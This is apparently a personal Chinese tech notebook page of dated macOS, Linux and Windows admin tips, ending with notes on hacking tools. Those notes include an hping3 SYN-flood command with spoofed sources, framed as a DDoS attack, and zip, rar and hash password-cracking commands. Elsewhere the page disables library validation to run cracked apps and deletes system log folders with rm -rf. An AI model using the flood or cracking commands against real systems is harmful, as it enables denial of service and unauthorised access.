"/private/var/log" # 开机若无此目录,影响DNS "/private/var/logs" ) sudo rm -rf "${log_path[@]}" sudo touch "${log_path[@]}" sudo chmod 000 "${log_path[@]}" # 注意: macOS重启后,由于"/private/var/log"目录被限制,故无法进行DNS查询. # 下面是重启后的解决办法: sudo rm -rf "/private/var/log" dig lanyundev.com +answer || dig lanyundev.com +answer sudo touch "/private/var/log" sudo chmod 000 "/private/var/log" # 注意: 由于JB家的IDE依赖"/Users/${user}/Library/Logs"做日志存储. # 没有简单解决办法,你可以删除这个目录然后参考我下面这个项目,将路径映射到黑洞文件系统 # https://github.com/LanYunDev/Null-File-System sudo rm -rf "/Users/${user}/Library/Logs" # 备注: apachectl 依赖 "/private/var/log" 文件夹 杀死提交诊断信息进程(应该不止这一个):killall SubmitDiagInfo 2024年1月24日 星期三 禁止macOS连接到新网络时检查互联网连接并启动 Captive Portal 助理实用程序应用程序 1 sudo defaults write /Library/Preferences/SystemConfiguration/com.apple.captive.control.plist Active -bool false 2024年1月23日 星期二 在macOS M芯片上关闭SIP(System Integrity Protection status: disabled)的情况下,如果nvram boot-args中存在amfi_get_out_of_my_way=0x1,那么java将crash崩溃.报错部分内容如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 # # A fatal error has been detected by the Java Runtime Environment: # # SIGBUS (0xa) at pc=0x0000000101bdd020, pid=1399, tid=10499 # # JRE version: (21.0.1) (build ) # Java VM: OpenJDK 64-Bit Server VM (21.0.1, mixed mode, sharing, tiered, compressed oops, compressed class ptrs, g1 gc, bsd-aarch64) # Problematic frame: # V [libjvm.dylib+0x37d020] CodeHeap::allocate(unsigned long)+0x15c # # No core dump will be written. Core dumps have been disabled. To enable core dumping, try "ulimit -c unlimited" before starting Java again # # --------------- S U M M A R Y ------------ Command Line: Host: "MacBookPro18,2" arm64, 10 cores, 64G, Darwin 23.3.0, macOS 14.3 (23D56) Time: Tue Jan 23 13:07:16 2024 CST elapsed time: 0.012328 seconds (0d 0h 0m 0s) --------------- T H R E A D --------------- Current thread (0x0000000134808600): JavaThread "Unknown thread" [_thread_in_vm, id=10499, stack(0x000000016fa78000,0x000000016fc7b000) (2060K)] Stack: [0x000000016fa78000,0x000000016fc7b000], sp=0x000000016fc7a940, free space=2058k Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code) V [libjvm.dylib+0x37d020] CodeHeap::allocate(unsigned long)+0x15c V [libjvm.dylib+0x2015a4] CodeCache::allocate(int, CodeBlobType, bool, CodeBlobType)+0x58 V [libjvm.dylib+0x1fbaa8] BufferBlob::create(char const*, int)+0x7c V [libjvm.dylib+0x788bcc] initialize_stubs(StubCodeGenerator::StubsKind, int, int, char const*, char const*, char const*)+0xac V [libjvm.dylib+0x788b10] StubRoutines::initialize_initial_stubs()+0x38 V [libjvm.dylib+0x39dcf4] init_globals()+0x2c V [libjvm.dylib+0x7d6518] Threads::create_vm(JavaVMInitArgs*, bool*)+0x228 V [libjvm.dylib+0x43407c] JNI_CreateJavaVM+0x74 C [libjli.dylib+0x8950] JavaMain+0x100 C [libjli.dylib+0xb988] ThreadJavaMain+0xc C [libsystem_pthread.dylib+0x7034] _pthread_start+0x88 siginfo: si_signo: 10 (SIGBUS), si_code: 1 (BUS_ADRALN), si_addr: 0x0000000112304000 对于AMFI,应该使用此命令来代替上面的参数填入:sudo defaults write /Library/Preferences/com.apple.security.libraryvalidation.plist DisableLibraryValidation -bool true 2023年12月1日 星期五 macOS允许某个用户在不输入密码(免密码root执行)的情况下用root身份执行特定的命令. 下面以我lanyun用户,命令spoof为例 1 2 3 4 5 which spoof # 查询命令路径 sudo vim /etc/sudoers # 编辑这个文件 # 在 %admin ALL = (ALL) ALL 这行之后新增一行. lanyun ALL = (ALL) NOPASSWD: /opt/homebrew/bin/spoof # 之后 esc :wq! 保存就OK了. 2023年11月8日 星期三 推荐一个适用于 macOS 的二进制授权和监控系统 Santa,Google开发,专制流氓. 快速删除一堆小文件(文件数量多): 1 2 3 4 5 tmp=$(python3 -c "from uuid import uuid4;print(uuid4())") tmp_dir="$(dirname "$(pwd)")/tmp-${tmp}" mkdir -p "${tmp_dir}" rsync --delete-before -d "${tmp_dir}/" ./ # 这里./代表当前目录 rm -rf "${tmp_dir}" 如果是大文件,先用 truncate -s 0 <FILE> 把大小置为 0 再删除. 修复问题: 现在不能打开“废纸篓”,因为它正用于其他用途 下面代码可能没用. 1 2 3 4 location="$HOME" # 如果是其他硬盘,请自行修改,并下面将Trash修改为Trashes mkdir -p "${location}/.Trash" shopt -s dotglob; sudo chflags -R noschg,nouchg "${location}/.Trash"; sudo rm -rf "${location}/.Trash/*" # 无锁定文件可用这个命令: shopt -s dotglob;rm -rf "${location}/.Trash/*" 禁用 mds_stores: mds 是 Spotlight的一部分.也就是你按 Command (⌘) + 空格 弹出来的那个东西.它为所有文件建立索引,以便在你要搜索文件的时候快速的找到你想要的东西.因为我用基本上用Scherlokk而不用Spotlight,而且苹果这玩意不仅吃CPU和内存,还狠狠地吃硬盘I/O,硬盘寿命—– 在终端中输入 sudo mdutil -a -i off 即可禁用索引.然后去硬盘根目录删除隐藏文件夹.Spotlight-V100(内置硬盘,应该在~下).排除索引: 设置 -> Siri与聚焦 -> 聚焦隐私 若想恢复索引,需要在终端中输入 sudo mdutil -a -i on 2023年10月26日 星期四 在macOS上禁用(毒瘤+垃圾)软件:WeChat、QQ的部分日志目录权限 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 # WeChat cd ~/Library/Containers/com.tencent.xinWeChat/Data/Library/Caches/com.tencent.xinWeChat/2.0b4.0.9 sudo chown root:wheel ./log sudo chmod 400 log cd ~/Library/Containers/com.tencent.xinWeChat/Data/Library/Containers/com.tencent.xinWeChat/Data/Library/Caches/com.tencent.xinWeChat/2.0b4.0.9 sudo chown root:wheel ./log sudo chmod 400 log cd ~/Library/Containers/com.tencent.xinWeChat/Data/.wxapplet sudo chown root:wheel ./xlog sudo chmod 400 xlog # QQ cd ~/Library/Containers/com.tencent.qq/Data/Library/Application\ Support/QQ/global/nt_data sudo chown root:wheel ./Log sudo chmod 400 Log cd ~/Library/Containers/com.tencent.qq/Data/Library/Application\ Support/QQ # 然后cd进入 nt_qq_** 的目录 sudo chown root:wheel ./log sudo chmod 400 log sudo chown root:wheel ./log-cache sudo chmod 400 log-cache # 上面QQ操作不适用于6.9.25版本(应该适用之前的版本,具体多少忘了) # 下面适用于6.9.25版本.其他版本自行参考并搜索log相关. user=$(whoami) log_path=( "/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Logs" "/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ/global/nt_data/Log" "/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ/log" # 下面和日志无关(禁用可能导致未知问题),可注释掉 "/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ/Session Storage" "/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ/Local Storage" ) target_dir="/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ" sub_dir=$(find "${target_dir}" -maxdepth 1 -mindepth 1 -type d -name "nt_qq*") for subdir in "${sub_dir[@]}"; do log_path+=("${subdir}/nt_data/log") log_path+=("${subdir}/nt_data/log-cache") done # 下面和日志无关(禁用可能导致未知问题),可注释掉 target_dir="/Users/${user}/Library/Containers/com.tencent.qq/Data/Library/Application Support/QQ/Partitions" sub_dir=$(find "${target_dir}" -maxdepth 1 -mindepth 1 -type d -name "qqnt*") for subdir in "${sub_dir[@]}"; do log_path+=("${subdir}/shared_proto_db") log_path+=("${subdir}/Session Storage") log_path+=("${subdir}/Local Storage") done sudo rm -rf "${log_path[@]}" sudo touch "${log_path[@]}" sudo chmod 000 "${log_path[@]}" 顺便删除截图插件 1 2 3 4 5 6 7 8 9 10 11 12 13 ban_path=( "/Applications/QQ.app/Contents/Resources/app/QQ ScreenCapture plugin.app" #"/Applications/QQ.app/Contents/Resources/app/ScreenCaptureAgent.framework/Versions/A/Resources" ) rm -rf "${ban_path[@]}" sudo touch "${ban_path[@]}" sudo chmod 000 "${ban_path[@]}" # 备注: /Applications/QQ.app/Contents/Resources/app/ScreenCaptureAgent.framework/Versions/A/ScreenCaptureAgent 不能动,除非搞定/Applications/QQ.app/Contents/Resources/app/wrapper.node # 下面是旧方法 sudo rm -rf /Applications/QQ.app/Contents/Resources/app/QQ截屏插件.app sudo chown root:wheel /Applications/QQ.app/Contents/Resources/app/ScreenCaptureAgent.framework/Versions/A/Resources sudo chmod 400 /Applications/QQ.app/Contents/Resources/app/ScreenCaptureAgent.framework/Versions/A/Resources 2023年10月24日 星期二 iptables IP阻断 单个IP的命令是 iptables -I INPUT -s 59.151.119.180 -j DROP 封IP段的命令是 iptables -I INPUT -s 211.1.0.0/16 -j DROP iptables -I INPUT -s 211.2.0.0/16 -j DROP iptables -I INPUT -s 211.3.0.0/16 -j DROP 封整个段的命令是 iptables -I INPUT -s 211.0.0.0/8 -j DROP 封几个段的命令是 iptables -I INPUT -s 61.37.80.0/24 -j DROP iptables -I INPUT -s 61.37.81.0/24 -j DROP iptables -I INPUT -s 211.1.0.0/16 -j DROP 解封: iptables -L INPUT iptables -L –line-numbers 然后iptables -D INPUT 序号 iptables 限制ip访问 通过iptables限制9889端口的访问(只允许192.168.1.201、192.168.1.202、192.168.1.203),其他ip都禁止访问 iptables -I INPUT -p tcp –dport 9889 -j DROP iptables -I INPUT -s 192.168.1.201 -p tcp –dport 9889 -j ACCEPT iptables -I INPUT -s 192.168.1.202 -p tcp –dport 9889 -j ACCEPT iptables -I INPUT -s 192.168.1.203 -p tcp –dport 9889 -j ACCEPT 注意命令的顺序不能反了。 列出 INPUT链 所有的规则:iptables -L INPUT –line-numbers 删除某条规则,其中5代表序号(序号可用上面的命令查看):iptables -D INPUT 5 开放指定的端口:iptables -A INPUT -p tcp –dport 80 -j ACCEPT 禁止指定的端口:iptables -A INPUT -p tcp –dport 22 -j DROP 拒绝所有的端口:iptables -A INPUT -j DROP 2023年9月29日 星期五 Windows RDP远程桌面无密码账户 连接发生报错: ERRCONNECT_ACCOUNT_RESTRICTION(Ox00000017) 解决: 开始 — 运行(win+R) — secpol.msc — 安全设置 — 本地策略 — 安全选项 — 帐户:使用空密码的本地帐户只允许… — 双击 — 选择 “已禁用” 2023年9月20日 星期三 杂记: /Users/$USER/Library/Preferences/w3access ~/Library/Preferences/w3access 增加一项公开云端存储方案–IPFS 2023年8月20日 星期日 macOS在关sip下装crack的ios应用 关闭库验证 sudo defaults write /Library/Preferences/com.apple.security.libraryvalidation.plist DisableLibraryValidation -bool true arm64e第三方调试 sudo nvram boot-args=”-arm64e_preview_abi” 查看ssv状态 csrutil authenticated-root status 如果开启,恢复模式进去status换disable进行关闭 2023年8月9日 星期三 mac的sed真JB难用,特么我想用sed命令在某行之后添加一些内容,需要换行,网上看一圈都是用的单引号,但是单引号没法弄变量,我脚本中行数不是固定的,需要动态获取,看了又看stackoverflow和sed官方文档,属实给我整晕了.🧠直接宕机.(不过总算是解决了.原创原理不解释了.真tm复杂) 给2个典型,能用就行,想弄明白下面参考链接🔗 先说单引号. 1 2 3 4 5 6 echo "lan,yun,dev,com" | sed $'s/,/\\\n/g' # 运行结果为 lan yun dev com 前面加个$,然后\\\n就是换行了 双引号(这里直接借用https://stackoverflow.com/a/6111851). 1 2 3 4 5 echo test1234foo123bar1234 | sed "s/\(1234\)/\\`echo -e '\n\r'`\1/g" # 运行结果为 test 1234foo123bar 1234 然后在这里浅浅说一下如果用sed a\附加命令又用到双引号该怎么操作. 1 2 3 4 sed -i '' -e "${tmp_line}a\\ 内容1 \\ 内容2 \\ " "${DestDir}/文件" (没错,用的是\\来表示换行,是不是很神奇?用两个反斜杠表示一个反斜杠,我的评价是Mac版的sed逻辑真nm傻*逼.) 参考链接🔗: 关于流编辑器 sed 的常见问题 regex - Insert linefeed in sed (Mac OS X) - Stack Overflow linux - \n is not working on the MacOS shell with sed - Stack Overflow regex - Replace newline with string in sed on mac - Stack Overflow sed Man Page - macOS - SS64.com 如何在 MacOS 上使用 sed 添加新行? - 堆栈溢出 更多的就不整了,看完你应该懂了吧? git grep -I --name-only -z -l $'\r' | xargs -0 sed -i '' $'s/\r$//' 查找所有包含Windows风格换行符的文件,并将这些文件中的回车符\r替换为空字符串,从而将其转换为Unix风格的换行符\n 2023年8月4日 星期五 为新版macOS的sudo提供指纹touch ID支持. 先看看ls /etc/pam.d/下有没有sudo_local.template 有的话,直接注释掉第3行内容 没有的话(或者不生效的话),直接命令 1 sudo sed -i ".bak" '2s/^/auth sufficient pam_tid.so\'$'\n/g' /etc/pam.d/sudo ✅解决! 2023年4月24日 星期一 修复 macOS 微信文件变成只读.文章 1 2 3 find "${HOME}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat" -type f -path '*/*/Message/MessageTemp/*/File/*' -exec chmod 644 {} \; # 下面是旧版代码 find "$HOME/Library/Containers/com.tencent.xinWeChat/Data/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat" -type f -path '*/*/Message/MessageTemp/*/File/*' -exec chmod 644 {} \; 2023年3月25日 星期六 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pm2 start xxxx 查看log pm2 log xxxx xxxxx在重启后自动运行: 只需运行此命令以生成一个活动的启动脚本: pm2 startup 并冻结自动重生的进程列表: pm2 save 更新 PM2 我们让它变得简单,版本之间没有重大变化,过程很简单: npm install pm2@latest -g # pacman -S pm2 然后更新内存中的 PM2 : pm2 update pm2 list # 列表PM2 启动的所有的应用程序 pm2文档: https://pm2.keymetrics.io/docs/usage/quick-start/ 2023年3月22日 星期三 1 2 3 4 5 6 7 8 9 10 screen -S blog # 新建窗口blog screen -ls # 列出创建的窗口 screen -r # 回到窗口(只有一个窗口时可以省略参数即后面可以不用加窗口名) screen -wipe # 检查目前所有的screen作业,并删除已经无法使用的screen作业 # ^+a w 查看所有窗口 # ^+a d 离开窗口 # ^+a k 杀死当前窗口和窗口中运行的程序 # https://www.cnblogs.com/mchina/archive/2013/01/30/2880680.html # ssh root@lanyun-nas.direct.quickconnect.cn -p 65534 "screen -S blog && echo "123" " 2022年12月6日 星期二 Windows挂载WebDAV 发生系统错误 67。 找不到网络名。 services.msc 在服务中打开WebClient服务即可 同时允许HTTP与HTTPS: 打开注册表编辑器,定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters,修改键BasicAuthLevel值为2 接触50MB文件大小限制: 打开注册表编辑器,定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters,修改键FileSizeLimitInBytes值为适当大小 2022年7月2日 星期六 python更新所有库 pip3 install pip-review pip-review –local –interactive 输入A,全部更新 gdb使用: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 # 载入一个文件 $ gdb {file} -cd:设置工作目录; -q:安静模式,不打印介绍信息和版本信息; -d:添加文件查找路径; -x:从指定文件中执行GDB指令; -s:设置读取的符号表文件。 # 或者进入gdb后: file {file} # 运行/重新运行 r # 继续运行 c # 显示源程序代码的内容,包括各行代码所在的行号 l # 下断点 b <行号> b <函数名称> b *<函数名称> b *<代码地址> d [编号] b +/-offset # 在当前暂停位置的偏移下断 tbreak # 只作用一次 rbreak regex # 在正则匹配的函数名开头断点 不会一次消失 # 查看断点 i b # i 用于查看各类信息 # 删除断点 d 断点序号 # 查看栈 stack <行数> # 针对源代码的单步 n # 步过 s # 步进 # 针对汇编指令的单步 ni si # 显示变量的值 p <value> # 退出 q # 查看帮助 h # 反汇编 disass # 查看各种数据 x/i x/s x/b # 斜杠后加数字表示查看的数量 # 直接回车进行上一步操作 # 使用命令行参数 gdb --args 命令行+参数等 # backtraces查看堆栈调用: bt # 显示所有的函数调用栈帧的信息,每个帧一行。 bt n # 显示栈定的n个帧信息。 bt -n # 显示栈底的n个帧信息。 bt full # 显示栈中所有帧的完全信息如:函数参数,本地变量 bt full n # 用发同上。 bt full -n # 2022年5月27日 星期五 初学者指南远离 scanf() 2022年5月16日 星期一 昨天某人打我电话,原来是叫我玩约战重置版本,作为一名小小的股东,我懂,又要钱钱💰了嘛. 2022年5月13日 星期五 硬盘盒和硬盘都到货啦~赶紧格式化测个速. 个人感觉非常不错!速度达到了雷电3的理论最高数据层传输速度. 2022年5月11日 星期三 设计并买了固态硬盘2T,采用的方案是 USB4.0硬盘盒NVMe M.2选用品牌为绿联 + PCIE4.0协议2T固态硬盘选用品牌为希捷 硬盘花费软妹币: 2182元 硬盘盒 798元 ,合计🟰: 2,980 元. 目前就等到货了…预计能跑到雷电3的数据层的最高速度,因为USB4.0硬盘盒其实也是用的雷电3主控芯片,那我为什么不买雷电3硬盘盒呢? 因为雷电3硬盘盒用的是Intel JHL6340主控芯片,USB-C接口只支持雷电3且不向下兼容USB 3.2、3.1、3.0、2.0;而新款USB 4.0硬盘盒用的是Intel JHL7440主控芯片,USB-C接口不仅支持雷电3且向下兼容USB 3.2、3.1、3.0(不兼容USB 2.0),兼容USB协议最高支持10Gbps(USB 3.2 Gen 2). Intel JHL6340,单链(Single),DP 1.2输出,功率:1.7W。Intel JHL7440,双链(Dual),DP 1.4输出,功率:2.4W。两款雷电3芯片的物理传输数据的总带宽均为:22 Gbps ,但是根据数据测试,USB4.0硬盘盒(JHL7440)的读写速度明显是要比雷电3硬盘盒(JHL6340)的读写速度更快一些. 而且选择**PCIe 4.0 x4 SSD(Gen 4 NVMe SSD)**能让这个固态硬盘毫无余力地发挥雷电接口的最高数据传输速度. 综上,目前方案最适合我这种追求高速读写的传输速度的用户.就是钱包在燃烧🔥…🥹 2022年4月27日 星期三 记录📝一下Hacking Tools 记录📝一下BinWalk安装和命令参数详解. 记录📝一下压缩包破解字符集爆破: fcrackzip是一个部分用汇编程序编写的快速密码破解程序。它能够通过暴力破解或基于字典的攻击破解受密码保护的 zip 文件,还可以选择使用解压缩结果进行测试。它还可以破解 cpmask 的图像。 命令:fcrackzip -v -b -u -l 1-10 -c1 xxx.zip 解释:-b 暴力破解模式 -c 指定掩码类型(-c1=纯数字,-c2=纯字母,-c3=数字字母混合模式(a=a-z;1=0-9;!=特殊字符)) -l 指定密码长度 -u 压缩文件名 kali自带的帮助文档基本是英文的,用Google给翻译了一下,可能不太准确,凑合和看吧! [-b–蛮力] 使用暴力破解 [-d–字典] 使用字典破解 [-B–基准] 执行一个小基准 [-c–charset characterset] 指定字符类型(数字,字母,混合等) [-h–帮助] 显示帮助文档 [–version] 显示此程序的版本 [-v–validate] 健全性检查Algortihm [-v–verbose] 更详细 [-p–init password string] 指定开始字符(比如要只记得密码是2开头的4位纯数字,可以指定从2000开始破解,提升效率) [-l–length min max] 指定密码长度区间 [-u–使用unzip] 使用unzip清除错误的密码 [-m–方法编号] 使用方法编号“num”(见下文) [-2–modulo r/m] 仅计算密码的1/m rarcrack 此程序使用暴力算法来猜测加密压缩文件的密码。 此程序可以破解zip、7z和rar文件密码。 用法: rarcrack encrypted_archive.ext [–threads NUM] [–type rar|zip|7z] 选项:–help:显示这个屏幕。 –type:你可以指定存档程序,当程序无法检测到合适的文件类型时,需要这样做。 –threads: 你可以指定运行多少个线程,最多12个(默认:2个)。 John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。目前的最新版本是John the Ripper 1.8.0版,针对Windows平台的最新免费版为John the Ripper 1.7.9版。 参考它的help John the Ripper 1.9.0-jumbo-1+bleeding-aec1328d6c 2021-11-02 10:45:52 +0100 OMP [linux-gnu 64-bit aarch64 ASIMD AC] Copyright (c) 1996-2021 by Solar Designer and others Homepage: https://www.openwall.com/john/ Usage: john [OPTIONS] [PASSWORD-FILES] –help Print usage summary –single[=SECTION[,..]] “Single crack” mode, using default or named rules –single=:rule[,..] Same, using “immediate” rule(s) –single-seed=WORD[,WORD] Add static seed word(s) for all salts in single mode –single-wordlist=FILE Short wordlist with static seed words/morphemes –single-user-seed=FILE Wordlist with seeds per username (user:password[s] format) –single-pair-max=N Override max. number of word pairs generated (6) –no-single-pair Disable single word pair generation –[no-]single-retest-guess Override config for SingleRetestGuess –wordlist[=FILE] –stdin Wordlist mode, read words from FILE or stdin –pipe like –stdin, but bulk reads, and allows rules –rules[=SECTION[,..]] Enable word mangling rules (for wordlist or PRINCE modes), using default or named rules –rules=:rule[;..]] Same, using “immediate” rule(s) –rules-stack=SECTION[,..] Stacked rules, applied after regular rules or to modes that otherwise don’t support rules –rules-stack=:rule[;..] Same, using “immediate” rule(s) –rules-skip-nop Skip any NOP “:” rules (you already ran w/o rules) –loopback[=FILE] Like –wordlist, but extract words from a .pot file –mem-file-size=SIZE Size threshold for wordlist preload (default 2048 MB) –dupe-suppression Suppress all dupes in wordlist (and force preload) –incremental[=MODE] “Incremental” mode [using section MODE] –incremental-charcount=N Override CharCount for incremental mode –external=MODE External mode or word filter –mask[=MASK] Mask mode using MASK (or default from john.conf) –markov[=OPTIONS] “Markov” mode (see doc/MARKOV) –mkv-stats=FILE “Markov” stats file –prince[=FILE] PRINCE mode, read words from FILE –prince-loopback[=FILE] Fetch words from a .pot file –prince-elem-cnt-min=N Minimum number of elements per chain (1) –prince-elem-cnt-max=[-]N Maximum number of elements per chain (negative N is relative to word length) (8) –prince-skip=N Initial skip –prince-limit=N Limit number of candidates generated –prince-wl-dist-len Calculate length distribution from wordlist –prince-wl-max=N Load only N words from input wordlist –prince-case-permute Permute case of first letter –prince-mmap Memory-map infile (not available with case permute) –prince-keyspace Just show total keyspace that would be produced (disregarding skip and limit) –subsets[=CHARSET] “Subsets” mode (see doc/SUBSETS) –subsets-required=N The N first characters of “subsets” charset are the “required set” –subsets-min-diff=N Minimum unique characters in subset –subsets-max-diff=[-]N Maximum unique characters in subset (negative N is relative to word length) –subsets-prefer-short Prefer shorter candidates over smaller subsets –subsets-prefer-small Prefer smaller subsets over shorter candidates –make-charset=FILE Make a charset, FILE will be overwritten –stdout[=LENGTH] Just output candidate passwords [cut at LENGTH] –session=NAME Give a new session the NAME –status[=NAME] Print status of a session [called NAME] –restore[=NAME] Restore an interrupted session [called NAME] –[no-]crack-status Emit a status line whenever a password is cracked –progress-every=N Emit a status line every N seconds –show[=left] Show cracked passwords [if =left, then uncracked] –show=formats Show information about hashes in a file (JSON) –show=invalid Show lines that are not valid for selected format(s) –test[=TIME] Run tests and benchmarks for TIME seconds each (if TIME is explicitly 0, test w/o benchmark) –stress-test[=TIME] Loop self tests forever –test-full=LEVEL Run more thorough self-tests –no-mask Used with –test for alternate benchmark w/o mask –skip-self-tests Skip self tests –users=[-]LOGIN|UID[,..] [Do not] load this (these) user(s) only –groups=[-]GID[,..] Load users [not] of this (these) group(s) only –shells=[-]SHELL[,..] Load users with[out] this (these) shell(s) only –salts=[-]COUNT[:MAX] Load salts with[out] COUNT [to MAX] hashes, or –salts=#M[-N] Load M [to N] most populated salts –costs=[-]C[:M][,…] Load salts with[out] cost value Cn [to Mn]. For tunable cost parameters, see doc/OPTIONS –fork=N Fork N processes –node=MIN[-MAX]/TOTAL This node’s number range out of TOTAL count –save-memory=LEVEL Enable memory saving, at LEVEL 1..3 –log-stderr Log to screen instead of file –verbosity=N Change verbosity (1-5 or 6 for debug, default 3) –no-log Disables creation and writing to john.log file –bare-always-valid=Y Treat bare hashes as valid (Y/N) –catch-up=NAME Catch up with existing (paused) session NAME –config=FILE Use FILE instead of john.conf or john.ini –encoding=NAME Input encoding (eg. UTF-8, ISO-8859-1). See also doc/ENCODINGS. –input-encoding=NAME Input encoding (alias for –encoding) –internal-codepage=NAME Codepage used in rules/masks (see doc/ENCODINGS) –target-encoding=NAME Output encoding (used by format) –force-tty Set up terminal for reading keystrokes even if we’re not the foreground process –field-separator-char=C Use ‘C’ instead of the ‘:’ in input and pot files –[no-]keep-guessing Try finding plaintext collisions –list=WHAT List capabilities, see –list=help or doc/OPTIONS –length=N Shortcut for –min-len=N –max-len=N –min-length=N Request a minimum candidate length in bytes –max-length=N Request a maximum candidate length in bytes –max-candidates=[-]N Gracefully exit after this many candidates tried. (if negative, reset count on each crack) –max-run-time=[-]N Gracefully exit after this many seconds (if negative, reset timer on each crack) –mkpc=N Request a lower max. keys per crypt –no-loader-dupecheck Disable the dupe checking when loading hashes –pot=NAME Pot file to use –regen-lost-salts=N Brute force unknown salts (see doc/OPTIONS) –reject-printable Reject printable binaries –tune=HOW Tuning options (auto/report/N) –subformat=FORMAT Pick a benchmark format for –format=crypt –format=[NAME|CLASS][,..] Force hash of type NAME. The supported formats can be seen with –list=formats and –list=subformats. See also doc/OPTIONS for more advanced selection of format(s), including using classes and wildcards. 2022年4月26日 星期二 记录📝一下ddos攻击 ```hping3 -i u1 -S -p80 xxx.xx.x.x`` hping3用来干嘛? 防火墙测试 实用的端口扫描 网络检测,可以用不同的协议、服务类型(TOS)、IP分片 手工探测MTU(最大传输单元)路径 先进的路由跟踪,支持所有的协议 远程操作系统探测 远程的运行时间探测 TCP/IP堆栈审计 使用hping3进行DDoS攻击: 1 hping3 -c 5000 -d 150 -S -w 64 -p 80 --flood --rand-source xxx # 攻击目标 参数-a 伪造来源IP -c:发送数据包的个数 -d:每个数据包的大小. -S:发送SYN数据包 -w:TCP window大小 -p:目标端口,你可以指定任意端口–flood:尽可能快的发送数据包 -H –help 显示帮助。 -v -VERSION 版本信息。 -c –count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。 -i –interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。 -n -nmeric 数字输出,象征性输出主机地址。 -q -quiet 退出。 -I –interface interface name 无非就是eth0之类的参数。 -v –verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 -D –debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,…….) -z –bind 快捷键的使用。 -Z –unbind 消除快捷键。 -O –rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。 -1 –icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用–ICMPTYPE –ICMPCODE选项发送其他类型/模式的ICMP报文。 -2 –udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用–baseport –destport –keep选项指定其模式。 -9 –listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。 -a –spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。 -t –ttl time to live 可以指定发出包的TTL值。 -H –ipproto 在RAW IP模式里选择IP协议。 -w –WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。 -r –rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。 -F –FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。 -x –morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。 -y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。 -G –fragoff fragment offset value set the fragment offset -m –mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。 -G –rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。 -C –ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。 -K –ICMPCODE CODE 指定ICMP代号,缺省0。 –icmp-ipver 把IP版本也插入IP头。 –icmp-iphlen 设置IP头的长度,缺省为5(32字节)。 –icmp-iplen 设置IP包长度。 –icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。 –icmp-ipproto 设置协议的,缺省是TCP。 -icmp-cksum 设置校验和。 -icmp-ts alias for –icmptype 13 (to send ICMP timestamp requests) –icmp-addr Alias for –icmptype 17 (to send ICMP address mask requests) -s –baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。 -p –deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。 –keep 上面说过了。 -w –win 发的大小和windows一样大,64BYTE。 -O –tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. -m –tcpseq 设置TCP序列数。 -l –tcpck 设置TCP ack。 -Q –seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。 参考Linux hping3 命令详解:测试网络及主机的安全

2023/8/4
articleCard.readMore

解决Surge模块不能同步问题

